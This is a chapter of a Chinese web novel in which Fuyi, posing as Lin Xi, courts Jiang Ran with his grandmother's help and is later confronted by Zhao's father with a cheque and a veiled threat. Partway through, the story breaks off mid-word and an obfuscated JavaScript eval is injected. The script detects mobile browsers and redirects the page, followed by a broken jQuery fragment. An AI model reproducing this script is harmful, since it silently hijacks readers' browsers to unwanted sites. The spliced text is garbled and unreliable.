拂衣轻轻靠在江奶奶肩膀上,瘪着嘴,可怜巴巴地看着她。

    “您可得帮帮我呀!”

    小姑娘委委屈屈的模样,顿时让江奶奶心疼不已,不赞同地看向江燃。

    “燃燃,男孩子要大度一点,怎么能跟女朋友闹别扭呢?”

    江燃一口气堵在胸口,看着一老一少统一战线的模样,额角突突直跳。

    “奶奶,您别听她……”

    “哎呀!我头有点晕……”

    江奶奶突然扶住额头,眉头轻蹙。

    “奶奶?”

    拂衣吓了一跳,赶忙直起身子,扶住她的胳膊。

    在江燃看不见的角度,江奶奶悄悄冲着拂衣挤了挤眼睛。

    “……”

    拂衣沉默了一下,有点想笑。

    江燃瞬间紧张起来,连忙蹲下身。

    “怎么了?是不是又不舒服了?”

    他看了眼拂衣,眼里全是慌乱。

    “帮我照顾一下奶奶,我去拿药!”

    看着他急匆匆凌乱的步伐,拂衣到底没喊他。

    等他进了江奶奶的房间,江奶奶立刻松开捂着额头的手,笑眯眯地拍了拍拂衣。

    “燃燃啊,跟他爷爷一个狗脾气,吃软不吃硬,你得跟他示弱,让他心疼,他才会主动来关心你!”

    江奶奶眼底闪过几分狡黠和怀念。

    “当年他爷爷也是这样,天天板着个脸,其实心软得很,我要是假装哪里不舒服,他比谁都着急……”

    话音未落,江燃已经拿着药快步返回。

    见奶奶神色如常地坐在那里,他愣了一瞬,随机狠狠松了口气。

    把药递给她,看着她吃下去,眼里的担忧才渐渐褪去。

    “好点了吗?”

    “没事没事!”

    江奶奶笑着摆手。

    “就是刚才起得太急,有点头晕,现在好多了。”

    江燃仔细端详着奶奶的脸色,心底突然冒出一丝异样。

    他本能地看向拂衣,却见她立即垂下眼,摆出一副乖巧的模样。

    江奶奶则若无其事地转移话题。

    “夕夕带了早饭过来,你去厨房把菜分出来,别什么都让人家女孩子干!”

    “……”

    看了眼桌子上精致的饭盒,江燃哽了下。

    在江奶奶催促的目光中,认命地提着饭盒进了厨房。

    在他转身的瞬间,拂衣悄悄对江奶奶比了个大拇指,老人得意地眨了眨眼。

    拂衣带来的饭菜没有很多,只是简单的三菜一汤。

    可每一道菜都清淡软烂,显然是特意为老年人准备的。

    看着这些用心搭配的菜肴,江燃神色有些复杂。

    江奶奶到底年纪大了,又生着病,吃完饭和拂衣说了会儿话,就回房间休息了。

    客厅里只剩下两人后,江燃才抬头,认真地看着拂衣。

    “林夕。”

    拂衣茫然地从碗里抬起头。

    “身为我的女朋友,你连我不吃香菜都不知道吗?”

    “……”

    看了眼他面前的桌子上,被细心地挑出来,堆在纸巾上的香菜。

    拂衣端着碗,陷入了思考。

    华盛给她的那些资料里,有提过他不吃香菜这一点吗?

    之前一起吃饭的时候,他是不是也这样挑过香菜?

    可惜,她什么都想不起来。

    甚至就连刚才,他是什么时候把香菜挑出来的,她都没注意到。

    江燃轻哂一声,没再多说,平静地收拾了面前的碗筷,起身走向厨房。

    望着他清瘦的背影,拂衣轻轻放下碗筷。

    所以,这就是她的攻略一直没有进展的原因吗?

    【灵主,我之前就告诉过您,攻略是要用真心的。】

    江燃出来的时候,客厅里已经没有了拂衣的身影。

    没有了她,狭小的客厅里似乎少了几分明媚,变得更加拥挤。

    江燃抵了下后槽牙,没再去想,把餐桌收拾干净,回到房间,发现书桌上放了张字条。

    顿了好一会儿,他才走过去,拿起字条看了眼。

    [以后放学不用去接我了。]

    江燃眼睫颤了颤,迟迟没有反应。

    过了很久,他才把字条扔进了垃圾桶里。

    --

    从那天之后,江燃就真的再也没去一中接过她。

    他恢复了从前的生活节奏。

    白天在课堂上趴着补觉,放学了就直奔大排档打工。

    只是有些东西终究是不一样了。

    从那天开始,他的课桌里开始频繁出现各种稀奇古怪的东西。

    有时候是小零食,有时候是玩具,有时候又是他根本认不出牌子的奢侈品。

    送东西进来的人,都是学校里不同的人,专门挑着他不在的时候塞进他课桌里,让他连拒绝的机会都没有。

    这下他有女朋友的传言被彻底坐实。

    所有人都知道了他有个有钱女朋友,隔三差五就托人给他送东西。

    “燃哥!吃饭了!”

    看着又提着个精致打包盒走进教室的黄毛,江燃一脚踹了过去。

    “不是跟你说了别他妈接她的东西?!”

    他现在整个人都处在暴躁的边缘。

    也是从那天起,他的一日三餐都被她包办了。

    他以为那天的那句话,已经足够让她明白,他早就看穿了她的虚情假意,能让她收敛些。

    谁想到,她不仅不收敛,还变本加厉!

    黄毛结结实实挨了一脚,往前踉跄了两步,却依然死死护着打包盒,没让里面的东西撒出来。

    他嬉皮笑脸地把打包盒放到他桌上。

    “燃哥你这就不对了,这么贵的菜,我们平时可吃不起,怎么能浪费呢?”

    江燃闭了闭眼,努力克制着心底的暴躁。

    “你把我当什么?她包养的小白脸?”

    黄毛愣了下,没想到他会这么说。

    他收起了脸上的嬉笑,坐到江燃前桌的椅子上,难得认真。

    “燃哥,你真不喜欢她?”

    江燃冷笑。

    “你哪只眼睛看出来我喜欢她了?”

    黄毛很不解。

    “那天她摔倒,只是擦破了点皮,你就很紧张。”

    “她凝血功能不好,那不是流血,那是流的钱,我赔不起。”

    他紧张的是她吗?

    他紧张的是他的钱!

    黄毛沉默了一会儿,突然发问。

    “你怎么知道她凝血功能不好?”

    江燃撩起眼皮,冷冷看过去。

    “因为我跟人打架的时候误伤了她,被她这个破毛病坑了一笔。”

    要不是这样,他怎么会被她缠上?

    甩都甩不掉。

    “……”

    黄毛没想到还有这茬,哑口无言。

    看着饭盒,忍不住小声嘀咕。

    “那真是可惜了……她让我给你带饭,每次都会给我三百块跑腿费呢……”

    他能看得出来,江燃并不讨厌那个女生。

    不然他也不会同意帮她给江燃送东西。

    只是这次之后……

    就得跟这个外快说再见了,唉!

    江燃懒得再说,拿着饭卡出去了。

    “你自己吃吧。”

    “……”

    看着手里精致的盒子,黄

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16856395|190488||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    毛陷入了茫然。

    那次之后,黄毛就没敢再同意帮拂衣送东西。

    站在三中校门外,拂衣垂着眼,脸上没有了笑容。

    “小……咳,林夕同学,不是我不想帮你,实在是燃哥他……”

    黄毛讪笑着,站在旁边为难地搓着手。

    拂衣把打包盒塞到他怀里。

    “照常送,他不吃就你自己吃,钱不会少你的。”

    她没再停留,转身就走。

    只留下黄毛站在原地抱着打包盒,不知所措。

    没走几步,拂衣突然被一个西装革履的男人拦住去路。

    “林小姐,我们赵总有请。”

    “赵总?哪个赵总?”

    “林小姐去了就知道了。”

    拂衣越过他,望向了不远处停着的黑色轿车。

    这辆车……

    全球不超过二十辆。

    国内就更少了。

    看来这位赵总,就是赵俊的背景,龙丰集团的CEO了?

    一周过去,龙丰股价一路下跌,到现在都还没稳住。

    居然能忍到现在才来找他,倒是挺沉得住气。

    拂衣笑了声,微微颔首。

    “带路。”

    车内,坐着一个中年男人,正在看文件。

    见她进来,中年男人合上文件夹,露出一个商业性的微笑。

    “想见林小姐一面还真是不容易。”

    拂衣扯了下唇,抄着手往后一靠。

    “这不是见到了?”

    赵父不动声色地打量着眼前的少女。

    她看上去很瘦小,面容稚嫩,身上还穿着一中的校服。

    怎么也无法把她和那个幕后操纵一切的人联系起来。

    但他纵横商界多年,深知人不可貌相的道理。

    “林小姐,我就直说了。”

    他指尖不轻不重地敲着文件夹。

    “要怎么样才能放过赵俊?”

    明明是询问的语气,却透着不容抗拒,隐隐透着久居高位带来的威势。

    拂衣挑了下眉。

    居然用气势来压一个未成年的小姑娘,还真是不要脸。

    “赵俊?我对他做什么了吗?”

    赵父目光微沉,身上的气势敛了敛,整个人都平和了下来。

    “林小姐是聪明人,应该明白我的意思,赵俊年纪小不懂事,有什么得罪的地方,我代他赔个不是。”

    他从口袋里取出一张早就准备好的支票推过去。

    “这里是三千万,给林小姐压惊。”

    拂衣指尖夹着那张支票,唇角噙着若有似无的笑。

    “叔叔这话真是说得我越来越糊涂了,我有什么惊需要压的?”

    “也是,那林小姐就当这是个见面礼吧。”

    赵父身体微微前倾,语气依然温和,眼神带着审视。

    “听说最近学校附近不太平,总有些混混在巷子里闹事,林小姐身边是有个在上夜班的朋友吧?”

    拂衣看过来,他面不改色,状似关心地补充。

    “现在这些混混,真是越来越无法无天了,林小姐可得让你那朋友下班路上留个心眼,毕竟,夜路走多了,难免会撞见什么不该见的,你说对不对?”

    就好像是一位长辈,在关心小辈一样。

    拂衣眯了眯眼,面上带了点天真。

    “听说?叔叔听谁说的?”

    赵父理了下袖口,从容一笑。

    “不要这么紧张,就是听手底下的人闲谈而已。”

    拂衣把支票折成纸飞机,轻轻一扔,纸飞机轻飘飘落在了赵父的腿上。

    “那你耳朵还挺长的,连手底下的人说了什么都能听得这么清楚。”